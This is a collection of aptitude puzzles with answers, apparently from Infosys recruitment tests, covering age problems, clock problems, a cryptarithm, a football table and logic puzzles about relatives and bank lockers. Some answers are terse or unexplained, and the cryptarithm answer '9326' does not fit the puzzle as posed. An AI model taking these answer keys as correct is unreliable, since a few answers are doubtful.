Tag Archives: JCM_math230_HW10_S15
Let \( (X,Y)\) have joint density \(f(x,y) = e^{-y}\), for \(0<x<y\), and \(f(x,y)=0\) elsewhere.
1. Are \(X\) and \(Y\) independent ?
2. Compute the marginal density of \(Y\).
3. Show that \(f_{X|Y}(x,y)=\frac1y \), for \(0<x<y\).
4. Compute \(E(X|Y=y)\)
5. Use the previous result to find \(E(X)\).
Let \( (X,Y) \) have joint density \(f(x,y)=x e^{-x-y}\) when \(x,y>0\) and \(f(x,y)=0\) elsewhere. Are \(X\) and \(Y\) independent ?
[Meester ex 5.12.30]
Let \(X\) and \(Y\) have the following joint density:
\[ f(x,y)=\begin{cases}2x+2y -4xy & \text{for } 0 \leq x\leq 1 \ \text{and}\ 0 \leq y \leq 1\\ 0& \text{otherwise}\end{cases}\]
1. Find the marginal densities of \(X\) and \(Y\)
2. find \(f_{Y|X}( y \,|\, X=\frac14)\)
3. find \( \mathbf{E}(Y \,|\, X=\frac14)\)
[Pitman p426 # 2]
Let \(U_1,U_2,U_3,U_4,U_5\) be independent, each with uiform distribution on \((0,1)\). Let \(R\) be the distance between the max and the min of the \(U_i\)’s. Find
1. \(\mathbf{E} R\)
2. the joint density of the max and the min of the \(U_i\)’s.
3. the \(\mathbf{P}(R> .5)\)
[pitman p355, #14]
Let \(T_1 < T_2<\cdots\) be the arrival times in a Poisson arrival process with rate \(\lambda\). What is the joint distribution of \((T_1,T_2,T_5)\) ?
An urn contains 1 black and 2 white balls. One ball is drawn at random and its color noted. The ball is replaced in the urn, together with an additional ball of its color. There are now four balls in
the urn. Again, one ball is drawn at random from the urn, then replaced along with an additional ball of its color. The process continues in this way.
1. Let \(B_n\) be the number of black balls in the urn just before the \(n\)th ball is drawn. (Thus \(B_1= 1\).) For \(n \geq 1\), find \(\mathbf{E} (B_{n+1} | B_{n}) \).
2. For \(n \geq 1\), find \(\mathbf{E} (B_{n}) \). [Hint: Use induction based on the previous answer and the fact that \(\mathbf{E}(B_1) =1\)]
3. For \(n \geq 1\), what is the expected proportion of black balls in the urn just before the \(n\)th ball is drawn ?
[From pitman p 408, #6]
Consider the following hierarchical random variable
1. \(\lambda \sim \mbox{Geometric}(p)\)
2. \(Y \mid \lambda \sim \mbox{Poisson}(\lambda)\)
Compute \(\mathbf{E}(Y)\). | {"url":"https://sites.duke.edu/probabilityworkbook/tag/jcm_math230_hw10_s15/","timestamp":"2024-11-08T20:37:30Z","content_type":"text/html","content_length":"47460","record_id":"<urn:uuid:e71d08c6-4a88-467d-ab38-476d2ec0bbfe>","cc-path":"CC-MAIN-2024-46/segments/1730477028079.98/warc/CC-MAIN-20241108200128-20241108230128-00551.warc.gz"} |
A line passes through (4 ,3 ) and (7 ,1 ). A second line passes through (1 ,8 ). What is one other point that the second line may pass through if it is parallel to the first line? | HIX Tutor
A line passes through #(4 ,3 )# and #(7 ,1 )#. A second line passes through #(1 ,8 )#. What is one other point that the second line may pass through if it is parallel to the first line?
Answer 1
Find the slope of the first line, then apply it to the point of the second line to find $\left(1 + 3 , 8 - 2\right) = \left(4 , 6\right)$
We can solve this by finding the slope of the first line, then applying that slope to the point of the second line.
The first line passes through points #(4,3) and (7,1)#. Let's determine the slope.
The equation of slope is #m=(y_2-y_1)/(x_2-x_1)#. Let's plug in our points into this equation:
We can now apply this slope to point #(1,8)#. I'll move 3 to the right on the x axis and 2 down on the y:
Sign up to view the whole answer
By signing up, you agree to our Terms of Service and Privacy Policy
Answer 2
To find a point through which the second line may pass if it is parallel to the first line, we use the slope of the first line, which is determined by the given points (4, 3) and (7, 1). The slope of
the first line can be calculated using the formula:
[m = \frac{{y_2 - y_1}}{{x_2 - x_1}}]
Once we have the slope of the first line, we can use it to find the equation of the second line. Since the second line is parallel to the first line, it will have the same slope. Then, using the
point (1, 8) through which the second line passes, we can find its equation in slope-intercept form (y = mx + b).
After finding the equation of the second line, we can use it to determine another point on the line by substituting different values of x and solving for y. This will give us various points through
which the second line may pass while being parallel to the first line.
Sign up to view the whole answer
By signing up, you agree to our Terms of Service and Privacy Policy
Answer from HIX Tutor
When evaluating a one-sided limit, you need to be careful when a quantity is approaching zero since its sign is different depending on which way it is approaching zero from. Let us look at some
When evaluating a one-sided limit, you need to be careful when a quantity is approaching zero since its sign is different depending on which way it is approaching zero from. Let us look at some
When evaluating a one-sided limit, you need to be careful when a quantity is approaching zero since its sign is different depending on which way it is approaching zero from. Let us look at some
When evaluating a one-sided limit, you need to be careful when a quantity is approaching zero since its sign is different depending on which way it is approaching zero from. Let us look at some
Not the question you need?
HIX Tutor
Solve ANY homework problem with a smart AI
• 98% accuracy study help
• Covers math, physics, chemistry, biology, and more
• Step-by-step, in-depth guides
• Readily available 24/7 | {"url":"https://tutor.hix.ai/question/a-line-passes-through-4-3-and-7-1-a-second-line-passes-through-1-8-what-is-one-o-8f9afa434d","timestamp":"2024-11-05T21:41:49Z","content_type":"text/html","content_length":"576206","record_id":"<urn:uuid:d22da5e6-e698-4ada-80bc-ca83db42de5e>","cc-path":"CC-MAIN-2024-46/segments/1730477027895.64/warc/CC-MAIN-20241105212423-20241106002423-00161.warc.gz"} |
Find Top Tutors - Get Personalized Help with TutorOcean
Indian Institute of Technology Kharagpur, TU Dresden, Germany
About me: Mentor & coach for the Digital SAT (Math), GMAT Focus Edition (Quantitative and Data Insights), GRE (Quantitative), CAT, ACT Math & GCSE Math | 18+ yrs of mentoring exp. | GMAT Q51 (30 min)
| CAT 99.99 | IIT alum Student performance: # SAT - Multiple 800s in Math & 1500+ overall - Math scores improved from below 650 to above 750 for many students. Last year I had more than 40 students
with scores above 750 in Math (Digital SAT) of which 15 students scored 790 and 5 students scored 800 and another 2 students with perfect Digital PSAT scores in Math # GMAT - Q50 in the GMAT, 720+
overall - Score improvement from below Q40 to above Q47 for many students. Last year I had at least 5 students with Q50 in the GMAT # GRE - Q170 in the GRE, 325+ overall - Multiple students have been
able to score over 163 in Quant and their improvements were from Q155s to Q165 # CAT - 99+ in CAT - Multiple students have made it to the top schools - IIMs, XLRI, SPJIMR and others My students have
scored in the top 5% in these tests. On an average the improvement in performance is ~30% points or more. Many of my students have been selected by the top schools - IIMs, ISB, Cornell, USC Marshall,
NUS, UCB, ESMT, XLRI, & more. I have mentored students across India, USA, UK, Germany, Australia, Singapore, S. Korea, Nigeria, Ukraine, Malaysia, Dubai, Riyadh Teaching methodology: # Disciplined
with focus on building in-depth concepts # Application of innovative & short ways of solving # Practice materials & mocks are included I focus on showing multiple approaches to the same problem. I am
friendly, patient and encourage people to ask questions. I have scored Q51 in the GMAT (in 30 min) Scored in CAT - 99.5+ scores 10 times, QA 99.99 - 5 times, LRDI 99.5+ & VA 99+ I have curated 5000+
questions for use by The Chemistry Group - UK, Manhattan Review, Mercer Mettl. I have been a mentor with GMAT Club, GRE Prep Club, Career Launcher etc. Let's connect and discuss your prep needs!
Subjects: ACT Math, ACT Science, GMAT, GRE, PSAT, SAT, SAT Mathematics, SHSAT, SSAT
15min Free Session
Package Deals | {"url":"https://www.tutorocean.com/search?q=Math&source=related_grid&pos=1","timestamp":"2024-11-03T20:25:18Z","content_type":"text/html","content_length":"272612","record_id":"<urn:uuid:3f400b50-7e22-4048-b578-ba30296b4327>","cc-path":"CC-MAIN-2024-46/segments/1730477027782.40/warc/CC-MAIN-20241103181023-20241103211023-00498.warc.gz"} |
Simplify glyph shapes | Fontself Maker Help Center
Fonts 💔 Too Many Points
Current font technologies are not meant to support massive amount of vector points - like thousands per glyphs - as such fonts can slow computers or crash printers.
Fontself will warn you if a glyph contains over 1000 points, and unless this happens only for a few glyphs, it is recommended to simplify such objects first.
There are a couple approaches to optimize complex shapes: with Illustrator’s own Simplify tool or with third-party plugins.
Optimize/simplify shapes in Illustrator
You can get significant shape optimizations by using Illustrator's Object > Path > Simplify command.
You should also consider cleaning up your shapes with Pathfinder or Object > Flatten Transparency... to minimize the amount of points of your most complex objects.
For example this A shape was reduced from 665 points to just 186:
Optimize/simplify shapes with plugins
Third-party solutions like the powerful Astui and the easy VectorFirstAid from Astute Graphics can lead to fewer points while keeping greater fidelity than Illustrator's Simplify tool. See how they
can compare: | {"url":"https://help.fontself.com/en/articles/908092-simplify-glyph-shapes","timestamp":"2024-11-08T21:48:48Z","content_type":"text/html","content_length":"51364","record_id":"<urn:uuid:8f5f9862-08bd-4fba-bb88-7745e1d0c71f>","cc-path":"CC-MAIN-2024-46/segments/1730477028079.98/warc/CC-MAIN-20241108200128-20241108230128-00106.warc.gz"} |
lacunaritycovariance-package: lacunaritycovariance: Gliding Box Lacunarity and Other... in lacunaritycovariance: Gliding Box Lacunarity and Other Metrics for 2D Random Closed Sets
Functions for estimating the gliding box lacunarity (GBL), covariance, and pair-correlation of a random closed set (RACS) in 2D from a binary coverage map (e.g. presence-absence land cover maps).
Contains a number of newly-developed covariance-based estimators of GBL (Hingee et al., 2019) \Sexpr[results=rd]{tools:::Rd_expr_doi("10.1007/s13253-019-00351-9")} and balanced estimators, proposed
by Picka (2000) http://www.jstor.org/stable/1428408, for covariance, centred covariance, and pair-correlation. Also contains methods for estimating contagion-like properties of RACS and simulating 2D
Boolean models. Binary coverage maps are usually represented as raster images with pixel values of TRUE, FALSE or NA, with NA representing unobserved pixels. A demo for extracting such a binary map
from a geospatial data format is provided. Binary maps may also be represented using polygonal sets as the foreground, however for most computations such maps are converted into raster images. The
package is based on research conducted during the author's PhD studies.
Random closed sets (RACS) (Chiu et al., 2013; Molchanov, 2005) are a well known tool for modelling binary coverage maps. The package author recently developed new, improved estimators of gliding box
lacunarity (GBL) for RACS (Hingee et al., 2017) and described contagion-like properties for RACS (Hingee, 2016). The PhD thesis (Hingee, 2019) provides additional background for GBL, and for RACS in
landscape metrics (which includes contagion).
This package expects RACS observations to be in the form of binary maps either in raster format, or as a set representing foreground with a second set giving the observation window. If in raster
format, the binary map is expected to be a spatstat.geom::im() object with pixel values that are only 1 and 0, or are logically valued (i.e. TRUE or FALSE). In both cases the observation window is
taken to be the set of pixels with values that are not NA (i.e. NA values are considered outside the observation window). The foreground of the binary map, corresponding to locations within the
realisation of the RACS, is taken to be pixels that have value 1 or TRUE. If the binary map is in set format then a spatstat.geom::owin() object is used to represent foreground and a second owin
object is used to represent the observation window.
We will usually denote a RACS as \Xi ('Xi') and a realisation of \Xi observed as a binary map as xi. We will usually denote the observation window as obswin.
A demonstration converting remotely sensed data into a binary map in im format can be accessed by typing demo("import_remote_sense_data", package = "lacunaritycovariance"). A short example of
estimating RACS properties can be found in the vignette estimate_RACS_properties, which can be accessed with vignette("estimate_RACS_properties").
The key functions within this package for estimating properties of RACS are:
secondorderprops() estimates GBL, covariance and other second order properties of stationary RACS
rbdd() simulates a Boolean model with grains that are discs with fixed radius (deterministic discs).
rbdr() simulates a Boolean model with grains that are rectangles of fixed size and orientation.
rbpto() simulates a Boolean model with grains that of fixed shape and random scale distributed according to a truncated Pareto distribution.
placegrainsfromlib() randomly places grains on a set of points (used to simulate Boolean models and other germ-grain models).
Chiu, S.N., Stoyan, D., Kendall, W.S. and Mecke, J. (2013) Stochastic Geometry and Its Applications, 3rd ed. Chichester, United Kingdom: John Wiley & Sons.
Hingee, K.L. (2016) Statistics for patch observations. International Archives of the Photogrammetry, Remote Sensing and Spatial Information Sciences pp. 235-242. Prague: ISPRS.
Hingee, K.L. (2019) Spatial Statistics of Random Closed Sets for Earth Observations. PhD: Perth, Western Australia: University of Western Australia. \Sexpr[results=rd]{tools:::Rd_expr_doi("10.26182/
Hingee K, Baddeley A, Caccetta P, Nair G (2019). Computation of lacunarity from covariance of spatial binary maps. Journal of Agricultural, Biological and Environmental Statistics, 24, 264-288. \
# Estimates from the heather data in spatstat xi_owin <- heather$coarse xi_owin_obswin <- Frame(heather$coarse) # Convert binary map to an im object (optional) xi <- as.im(xi_owin, value = TRUE,
na.replace = FALSE) # Estimate coverage probability, covariance, GBL, and disc-state contagion cphat <- coverageprob(xi) cvchat <- racscovariance(xi, estimator = "pickaH") gblhat <- gbl(xi, seq(0.1,
5, by = 1), estimators = "GBLcc.pickaH") contagds <- contagdiscstate(Hest(xi), Hest(!xi), p = cphat) # Simulate a Boolean model with grains that are discs of fixed radius: xi_sim <- rbdd(10, 0.1,
For more information on customizing the embed code, read Embedding Snippets. | {"url":"https://rdrr.io/cran/lacunaritycovariance/man/lacunaritycovariance-package.html","timestamp":"2024-11-10T21:01:55Z","content_type":"text/html","content_length":"32780","record_id":"<urn:uuid:55f44cde-170b-47cc-be27-6164e091732a>","cc-path":"CC-MAIN-2024-46/segments/1730477028191.83/warc/CC-MAIN-20241110201420-20241110231420-00170.warc.gz"} |
Real Interval Arithmetic IR
Stable Numerics Subroutine Library
Programming Reference Manual
Version 1.0 DD-00006-010
3.1 Real Interval Arithmetic
Interval arithmetic consists of a tuple of two numbers representing an infinimum and supremum of an interval. By definition an interval is in
The two elements in an interval infinimum supremum
This makes it distinct from | {"url":"https://techpubs.adelsbach-research.eu/d/dd-00006-010/html/StabNumRef_PGsu5.html","timestamp":"2024-11-04T12:07:31Z","content_type":"text/html","content_length":"5714","record_id":"<urn:uuid:211f00ee-177d-4608-bf2e-d5a990be9738>","cc-path":"CC-MAIN-2024-46/segments/1730477027821.39/warc/CC-MAIN-20241104100555-20241104130555-00448.warc.gz"} |
Re: Assistance with operation comparing two column matrixes and producing result in one column matri
Aug 10, 2022 11:59 AM
Aug 10, 2022 11:59 AM
I'm developing a MathCAD worksheet in Prime7 that works with data extracted from input matrices. I cannot figure out how to take two variables, each of which comprise a 12 row x 1 col matrix, and
compare each pair of values row by row to find the Maximum value, then spit that row's maximum value out into a new resulting column matrix.
My last attempt at a programming block with a simple concept is at the end of the worksheet, but instead of producing a column matrix only goes straight to the last iteration value and reports it.
Worksheet attached...thanks for any help!
Aug 10, 2022 01:12 PM
Aug 10, 2022 01:12 PM
Aug 10, 2022 01:12 PM
Aug 10, 2022 01:12 PM
Aug 10, 2022 04:06 PM
Aug 10, 2022 04:06 PM | {"url":"https://community.ptc.com/t5/Mathcad/Assistance-with-operation-comparing-two-column-matrixes-and/m-p/812569","timestamp":"2024-11-11T06:22:41Z","content_type":"text/html","content_length":"241971","record_id":"<urn:uuid:cbac58a7-0a06-42df-9314-08dfcdc6100d>","cc-path":"CC-MAIN-2024-46/segments/1730477028220.42/warc/CC-MAIN-20241111060327-20241111090327-00670.warc.gz"} |
Lesson 4
Using Function Notation to Describe Rules (Part 1)
4.1: Notice and Wonder: Two Functions (5 minutes)
This warm-up familiarizes students with a new way of using function notation and gives them a preview of the work in this lesson.
The prompt also gives students opportunities to see and make use of structure (MP7). The specific structure they might notice is how the values in the \(f(x)\) and the \(g(x)\) columns in each table
correspond to the expression describing each function.
When students articulate what they notice and wonder, they have an opportunity to attend to precision in the language they use to describe what they see (MP6). They might first use less formal or
imprecise language, and then restate their observation with more precise language in order to communicate more clearly.
Display the tables for all to see. Tell students that their job is to think of at least one thing they notice and at least one thing they wonder. Give students 1 minute of quiet think time, and then
1 minute to discuss the things they notice with their partner, followed by a whole-class discussion.
Student Facing
What do you notice? What do you wonder?
│\(x\) │\(f(x)=10-2x\) │
│1 │8 │
│1.5 │7 │
│5 │0 │
│-2 │14 │
│\(x\) │\(g(x)=x^3\) │
│-2 │-8 │
│0 │0 │
│1 │1 │
│3 │27 │
Activity Synthesis
Ask students to share the things they noticed and wondered. Record and display their responses for all to see. If possible, record the relevant reasoning on or near the tables. After all responses
have been recorded without commentary or editing, ask students, “Is there anything on this list that you are wondering about?” Encourage students to respectfully disagree, ask for clarification, or
point out contradicting information.
4.2: Four Functions (10 minutes)
In this activity, students are introduced to the idea that some functions can be defined by a rule, and the rule can be described in words or with expressions and equations. Students examine some
simple rules and make connections between their verbal and algebraic representations. Doing so prompts them to look for and make use of structure (MP7).
The algebraic statements are written in function notation, so the work also reinforces students’ understanding of the notation and expands their capacity to use it to describe functions.
Display an image of a “function machine” with “cube the input” as the rule.
Tell students that a function takes any input and cubes it to generate the output. Ask students to
• Find the output when the inputs are 0, 1, 3, and \(x\).
• Write the input-output relationship using function notation and name the function \(g\).
\(g(0)=0\\ g(1)=1\\ g(3)=27\\ g(x)=x^3\)
If not mentioned by students, point out that these equations describe the same function as that shown by the second table in the warm-up.
Explain to students that some functions have a specific rule for getting its output. The rule can be described in words (like “cube the input”) or with expressions (such as \(x^3\)). Tell students
that they’ll now look at some rules expressed in both ways.
Representation: Internalize Comprehension. Chunk this task into more manageable parts to differentiate the degree of difficulty or complexity. Give students a subset of the expressions and
descriptions to start with and hold a brief small-group or whole-class discussion once students have completed the first match. Invite 1–2 students to share their strategies for finding a match
before introducing the remaining expressions and descriptions.
Supports accessibility for: Conceptual processing; Organization
Student Facing
Here are descriptions and equations that represent four functions.
A. To get the output, subtract 7 from the input, then divide the result by 3.
B. To get the output, subtract 7 from the input, then multiply the result by 3.
C. To get the output, multiply the input by 3, then subtract 7 from the result.
D. To get the output, divide the input by 3, and then subtract 7 from the result.
1. Match each equation with a verbal description that represents the same function. Record your results.
2. For one of the functions, when the input is 6, the output is -3. Which is that function: \(f, g\), \(h\), or \(k\)? Explain how you know.
3. Which function value—\(f(x), g(x), h(x)\), or \(k(x)\)—is the greatest when the input is 0? What about when the input is 10?
Student Facing
Are you ready for more?
Mai says \(f(x)\) is always greater than \(g(x)\) for the same value of \(x\). Is this true? Explain how you know.
Activity Synthesis
Invite students to briefly share how they matched the equations and verbal descriptions in the first question. Discuss questions such as:
• “The expressions for functions \(f\) and \(g\) both involve multiplying by 3 and subtracting 7. How are they different?” (The order in which the operations happen is different. Function \(f\)
first multiplies the input by 3, and then 7 is subtracted from the result. Function \(g\) first subtracts 7, then multiplies the result by 3.)
• “The expressions for \(h\) and \(k\) both involve subtracting 7 and dividing by 3. How did you decide which one corresponds to description A and which one corresponds to D?” (By looking at what
is done to \(x\) first. In \(h\), \(x\) is divided by 3 before 7 is subtracted, so it must correspond to D.)
Next, ask students how they determined which function has \((6, \text-3)\) as an input-output pair and which function has the greatest output when \(x\) is 0 and when \(x\) is 10. Highlight
explanations that mention evaluating each function at those input values and seeing which one generates -3 for the output or gives the greatest output.
The functions in this activity are given without a context. Tell students that they will now look at rules that describe relationships between quantities in situations.
Speaking, Representing: MLR8 Discussion Supports. Use this routine to support whole-class discussion as students explain how they matched the descriptions to the equations. Display the following
sentence frames for all to see: “The equation _____ matches _____ because . . .” and “I noticed _____, so . . . .” Encourage students to challenge each other when they disagree. If necessary, revoice
student ideas to demonstrate using mathematical language such as input and output. This will help students use the structure of equations to make connections between equations and descriptions of
Design Principle(s): Support sense-making
4.3: Rules for Area and Perimeter (20 minutes)
Previously, students interpreted rules of functions only in terms of the operations performed on the input to lead to the output. In this activity, students analyze functions that relate two
quantities in a situation and work to define the relationship between the quantities with a rule. They do so by creating a table of values and generalizing the process of finding one quantity given
the other. Students also plot the values in each table to see the graphical representation of the functions.
The mathematical reasoning here is not new. Students have done similar work earlier in the course, when investigating expressions and equations. What is new is seeing these relationships as functions
and using function notation to describe them.
Students are likely to graph the functions by plotting the values in the tables and then connecting the points with a curve. As students work on the second set of questions about a perimeter
function, which is linear, look for those who relate \(P(\ell)=2\ell + 6\) to a linear equation, namely \(y=2x+6\), and then graph a line with a vertical intercept of \((0,6)\) and a slope of 2.
Invite them to share their thinking during the whole-class discussion.
Arrange students in groups of 2. Give students a few minutes of quiet time to work on the first set of questions, and then a moment to discuss their responses with their partner. Then, pause for a
brief discussion before students proceed to the second set of questions.
Invite students to share their rule for the area function. Some students may have written \(A = s^2\), while others \(A(s)=s^2\). Ask students who wrote each way to explain their reasoning. Highlight
explanations that point out that \(A\) is the name of the function and that function notation requires specifying the input, which is \(s\).
Clarify that in the past, we may have used a variable like \(A\) to represent the area, but in this case, \(A\) is used to name a function to help us talk about its input and output. If we wish to
also use a variable to represent the output of this function (instead of using function notation), it would be helpful to use a different letter.
Student Facing
1. A square that has a side length of 9 cm has an area of 81 cm^2. The relationship between the side length and the area of the square is a function.
1. Complete the table with the area for each given side length.
Then, write a rule for a function, \(A\), that gives the area of the square in cm^2 when the side length is \(s\) cm. Use function notation.
│side length (cm) │area (cm^2) │
│1 │ │
│2 │ │
│4 │ │
│6 │ │
│\(s\) │ │
2. What does \(A(2)\) represent in this situation? What is its value?
3. On the coordinate plane, sketch a graph of this function.
2. A roll of paper that is 3 feet wide can be cut to any length.
1. If we cut a length of 2.5 feet, what is the perimeter of the paper?
2. Complete the table with the perimeter for each given side length.
Then, write a rule for a function, \(P\), that gives the perimeter of the paper in feet when the side length in feet is \(\ell\). Use function notation.
│side length (feet) │perimeter (feet) │
│1 │ │
│2 │ │
│6.3 │ │
│11 │ │
│\(\ell\) │ │
3. What does \(P(11)\) represent in this situation? What is its value?
4. On the coordinate plane, sketch a graph of this function.
Anticipated Misconceptions
If students struggle to graph the functions, suggest that they use the coordinate pairs in the tables to help them.
Activity Synthesis
Select students to share the rule they wrote for the perimeter function (from the second set of questions) and how they determined the rule. Students may have written expressions of different forms
for \(P(\ell)\):
Record and display the variations for all to see and discuss whether they all give the value of \(P(\ell)\). Ask students to explain how they know these expressions are equivalent and define the same
Next, discuss how students sketched the graph of the function. If no students made a connection between the slope and vertical intercept of the graph of \(P\) to the parameters in their equation, ask
them about it. For example, display the graph of \(P\) and ask students to use it to write an equation for the line.
Lesson Synthesis
Display for all to see the equations \(f(x) = 5x + 3\) and \(g(x)=10x-4\). Ask students,
• “How would you describe to a classmate who is absent today what each equation means? What would you say to help them make sense of these?” (Each equation gives the rule of a function. The rule
for \(f\) says that, to get the output, we multiply the input by 5 and add 3. The rule for \(g\) says that the output is 10 times the input, minus 4.)
• “How do the rules help us find the value of \(f(10)\) or \(g(10)\)?” (If we substitute 10 for \(x\) in each equation and evaluate the expression, we would have the value of \(f\) or \(g\) at \(x=
10\), which are 53 and 96, respectively.)
• “Is it possible to graph a function described this way? How?” (We could create a table of values and find the coordinate pairs at different \(x\)-values. Or, if a rule is expressed as a linear
equation, we could use it to identify the slope and vertical intercept of the graph.)
4.4: Cool-down - Perimeter of a Square (5 minutes)
Student Facing
Some functions are defined by rules that specify how to compute the output from the input. These rules can be verbal descriptions or expressions and equations. For example:
Rules in words:
• To get the output of function \(f\), add 2 to the input, then multiply the result by 5.
• To get the output of function \(m\), multiply the input by \(\frac12\) and subtract the result from 3.
Rules in function notation:
• \(f(x) = (x + 2) \boldcdot 5\) or \(5(x+2)\)
• \(m(x) = 3 - \frac12x\)
Some functions that relate two quantities in a situation can also be defined by rules and can therefore be expressed algebraically, using function notation.
Suppose function \(c\) gives the cost of buying \(n\) pounds of apples at \$1.49 per pound. We can write the rule \(c(n) = 1.49n\) to define function \(c\).
To see how the cost changes when \(n\) changes, we can create a table of values.
│pounds of apples, \(n\) │cost in dollars, \(c(n)\) │
│0 │0 │
│1 │1.49 │
│2 │2.98 │
│3 │4.47 │
│\(n\) │\(1.49n\) │
Plotting the pairs of values in the table gives us a graphical representation of \(c\). | {"url":"https://curriculum.illustrativemathematics.org/HS/teachers/1/4/4/index.html","timestamp":"2024-11-03T06:56:04Z","content_type":"text/html","content_length":"121006","record_id":"<urn:uuid:624cc4c2-b8a2-49f7-a57c-04f9b3fa627d>","cc-path":"CC-MAIN-2024-46/segments/1730477027772.24/warc/CC-MAIN-20241103053019-20241103083019-00243.warc.gz"} |
Is 1369 is a perfect square?
Is 1369 is a perfect square?
1369 is a perfect square hence, we can also express it as (37 × 37). The number within square root which gets repeated is 37. Hence, the square root of 1369 is 37 . The square root of 1369 is 37.
Is 1369 a square of even number?
For a number to be a perfect square of an even number, its unit digit should be even. In the given options, 841 and 1369 can not be correct options as their unit digit is odd. Unit digit of 324 is
even. So, it correct and it is a perfect square of 18.
Is 1369 a odd number?
1,369 (one thousand three hundred sixty-nine) is an odd four-digits composite number following 1368 and preceding 1370. In scientific notation, it is written as 1.369 × 103….Notation.
Scientific notation 1.369 × 103
Engineering notation 1.369 × 103
What is the factor of 1369?
The factors of 1369 are 1, 37, 1369. Therefore, 1369 has 3 factors.
Is 1369 divisible by any number?
When we list them out like this it’s easy to see that the numbers which 1369 is divisible by are 1, 37, and 1369. What is this? You might be interested to know that all of the divisor numbers listed
above are also known as the Factors of 1369. Not only that, but the numbers can also be called the divisors of 1369.
What is the perfect square number between 30 and 40?
36 is the only perfect square number between the numbers 30 and 40.
What are the three types of numbers?
Types of numbers
• Natural Numbers (N), (also called positive integers, counting numbers, or natural numbers); They are the numbers {1, 2, 3, 4, 5, …}
• Whole Numbers (W).
• Integers (Z).
• Rational numbers (Q).
• Real numbers (R), (also called measuring numbers or measurement numbers).
Is two a perfect square?
In mathematics, a square is a product of a whole number with itself. For instance, the product of a number 2 by itself is 4. In this case, 4 is termed as a perfect square. A square of a number is
denoted as n × n….Example 1.
Integer Perfect square
1 x 1 1
2 x 2 4
3 x 3 9
4 x 4 16
Is 1681 divisible by any number?
The number 1681 is divisible by 1, 41, 1681. For a number to be classified as a prime number, it should have exactly two factors. Since 1681 has more than two factors, i.e. 1, 41, 1681, it is not a
prime number. | {"url":"https://www.peel520.net/is-1369-is-a-perfect-square/","timestamp":"2024-11-01T20:30:44Z","content_type":"text/html","content_length":"33199","record_id":"<urn:uuid:8da06e90-2b28-4409-b6f4-499ea8eb59af>","cc-path":"CC-MAIN-2024-46/segments/1730477027552.27/warc/CC-MAIN-20241101184224-20241101214224-00512.warc.gz"} |
Infosys Questions with Answers
Father's age is three years more than three times the son's age. After three years, father's age will be ten years more than twice the son's age. What is the father's present age.
33 years. (2 marks)
Find the values of each of the alphabets.
N O O N
S O O N
+ M O O N
J U N E
9326 (2 marks)
There are 20 poles with a constant distance between each pole A car takes 24 second to reach the 12th pole. How much will it take to reach the last pole.
41.45 seconds (2 marks)
Let the distance between two poles = x
Hence 11x:24::19x:?
A car is travelling at a uniform speed. The driver sees a milestone showing a 2-digit number. After travelling for an hour the driver sees another milestone with the same digits in reverse order.
After another hour the driver sees another milestone containing the same two digits. What is the average speed of the driver.
45 kmph (4 marks)
The minute and the hour hand of a watch meet every 65 minutes. How much does the watch lose or gain time and by how much?
Gains; 5/11 minutes (4 marks)
Ram, Shyam and Gumnaam are friends. Ram is a widower and lives alone and his sister takes care of him. Shyam is a bachelor and his niece cooks his food and looks after his house. Gumnaam is married
to Gita and lives in large house in the same town. Gita gives the idea that all of them could stay together in the house and share monthly expenses equally. During their first month of living
together, each person contributed Rs.25. At the end of the month, it was found that Rs 92 was the expense so the remaining amount was distributed equally among everyone. The distribution was such
that everyone received a whole number of Rupees. How much did each person receive?
Ans. Rs 2 (4 marks)
(Hint: Ram's sister, Shyam's niece and Gumnaam's wife are the same person)
At 6'o a clock ticks 6 times. The time between first and last ticks is 30 seconds. How long does it tick at 12'o clock.
66 sec. (2 marks)
Three friends divided some bullets equally. After all of them shot 4 bullets the total number of bullets remaining is equal to the bullets each had after division. Find the original number divided.
18 (2 marks)
Initially . x x x
Now x-4 x-4 x-4
Equation is 3x-12 = x
A ship went on a voyage. After it had travelled 180 miles a plane started with 10 times the speed of the ship. Find the distance when they meet from starting point.
200miles. (2 marks)
Distance travelled by plane = 1/10 distance travelled by ship + 180
Complete the Table given below:
Three football teams are there. Given below is the group table. Fill in the x's
Played Won Lost Draw Goals For Goals Against
A 2 2 x x x 1
B 2 x x 1 2 4
C 2 x x x 3 7
Ans : The filled table is given below (4 marks)
Played Won Lost Draw Goals For Goals Against
A 2 2 0 0 7 1
B 2 0 1 1 2 4
C 2 0 1 1 3 7
There are 3 societies A, B, C. A lent cars to B and C as many as they had already.
After some time B gave as many tractors to A and C as many as they have. After sometime c did the same thing. At the end of this transaction each one of them had 24. Find the cars each originally
A had 39 cars, B had 21 cars & C had 12 cars (4 marks)
There N stations on a railroad. After adding X stations on the rail route 46 additional tickets have to be printed. Find N and X.
x=2 and N=11
Let initially, N(N-1) = t
After adding, (N+X)(N+X-1) = t+46
By trail and error method (4 marks)
Given that April 1 is Tuesday. A, B, C are 3 persons told that their farewell party was on
A - May 8, Thursday
B - May 10,tuesday
C - June 5, Friday
Out of A, B, C only one made a completely true statement concerning date, day and month
The other told two one told the day right and the other the date right..
What is correct date, month, day.
Ans: B - (May 10) SUNDAY
C - June 6 (Friday). (5 marks)
The Bulls, Pacers, Lakers and Jazz ran for a contest. Anup, Sujit, John made the following statements regarding results.
Anup said either Bulls or Jazz will definitely win
Sujit said he is confident that Bulls will not win
John said he is confident that neither Jazz nor Lakers will win
When the result came it was found that only one of the above three had made a correct statement. Who has made the correct statement and who has won the contest.
Sujit; Lakers (5marks )
Five people A ,B ,C ,D ,E are related to each other. Four of them make one true statement each as follows.
(i) B is my father's brother.
(ii) E is my mother-in-law.
(iii)C is my son-in-law's brother
(iv)A is my brother's wife.
(i) D
(ii) B
(iii) E
(iv) C (10 marks)
Mr.Mathurs jewels have been stolen from his bank locker . The bank has lockers of 12 people which are arranged in an array of 3 rows and 4 columns like:
The locker belonging to JONES was to the right of BLACK'S locker and directly above MILLAR'S.
BOOTH'S locker was directly above MILLAR'S.
SMITH'S locker was also above GRAY's (though not directly).
GREEN'S locker was directly below SMITH'S.
WILSON'S locker was between that of DAVIS and BOOTH.
MILLAR'S locker was on the bottom row directly to the right of HERD'S.
WHITE'S locker was on the bottom right hand corner in the same column as BOOTH'S.
Which box belonged to Mr.Mathurs?
Box number 9 belongs to Mr.Mathurs.
Fifty minutes ago if it was four times as many minutes past three o'clock, how many minutes is it to six o'clock?
Twenty six minutes.
If a clock takes 7seconds to strike 7, how long will the same clock take to strike 10?
The clock strikes for the first time at the start and takes 7 seconds for 6 intervals-thus for one interval time taken=7/6.
Therefore, for 10 seconds there are 9 intervals and time taken is 9*7/6=10 and 1/2 seconds.
